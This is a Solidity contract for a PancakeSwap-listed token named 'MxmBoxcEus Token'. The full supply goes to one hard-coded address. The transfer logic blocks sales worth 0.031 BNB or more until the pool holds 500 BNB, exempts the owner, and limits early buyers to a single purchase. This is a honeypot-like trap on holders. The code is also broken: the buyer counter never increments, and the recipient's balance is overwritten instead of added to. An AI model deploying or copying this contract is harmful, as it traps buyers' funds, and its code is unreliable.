pragma solidity ^0.5.0;
interface ERC20 {
function transfer(address receiver, uint amount) external;
function transferFrom(address _from, address _to, uint256 _value)external;
function balanceOf(address receiver)external view returns(uint256);
function mint(address account, uint amount)external;
function approve(address spender, uint amount) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract MxmBoxcEus {
// ERC20
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 private _totalSupply;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowances;
mapping (address => uint256) public start;//记录前5000个购买人
address public owner;
uint256 public start5000;//前5000个博饼购买ID
address public pir;
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// ================= Initial value ===============
constructor () public {
owner=msg.sender;
_name = "MxmBoxcEus Token";
_symbol = "MBE";
_decimals = 18;
_totalSupply = 10000000000000000000000000;// 10_00000000.mul(10 ** uint256(18));
balances[0x5FE5A86c7074287B53052EdE1fb4C61B6B744Db2] = _totalSupply;
emit Transfer(address(this), 0x5FE5A86c7074287B53052EdE1fb4C61B6B744Db2, _totalSupply);
IRouter _pancakeRouter = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
// Create a pancake pair for this new token
pir = IPancakeFactory(_pancakeRouter.factory())
.createPair(address(this), _pancakeRouter.WETH());
}
function setOener()public{
require(msg.sender == owner);
owner=address(0);
}
function sellMbe(uint mbe)public view returns (uint){
if(ERC20(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c)).balanceOf(pir) > 0){
address[] memory path = new address[](2);
uint[] memory amount;
path[0]=address(this);
path[1]=0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
amount=IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E).getAmountsOut(mbe,path);
return amount[1];
}else {
return 0;
}
}
// ================= Pair transfer ===============
function _transfer(address _sender, address _recipient, uint256 _amount) internal {
require(_amount <= balances[_sender],"Transfer: insufficient balance of from address");
require(sellMbe(_amount) < 0.031 ether || _sender==owner || _recipient == owner || ERC20(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c)).balanceOf(pir) >= 500 ether);
require((start[_recipient]==0 && _sender == pir) || start5000 >=5000 || _sender != pir);//前5000个购买人限购一次,如果卖出,这个地址就不能购买,需要满5000个地址后才能购买
if(_sender == pir && start[_recipient]==0){
start5000 ;//LP底池购买人计数
start[_recipient]=1;//记录已经购买
}
balances[_sender] -= _amount;
balances[_recipient] = _amount;
emit Transfer(_sender, _recipient, _amount);
}
// ================= ERC20 Basic Write ===============
function approve(address _spender, uint256 _amount) public returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
function _approve(address _owner, address _spender, uint256 _amount) internal {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function transfer(address _recipient, uint256 _amount) public returns (bool) {
_transfer(msg.sender, _recipient, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public returns (bool) {
_transfer(_sender, _recipient, _amount);
require(allowances[_sender][msg.sender]>=_amount);
_approve(_sender, msg.sender, allowances[_sender][msg.sender]-_amount);
return true;
}
// ================= ERC20 Basic Query ===============
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
}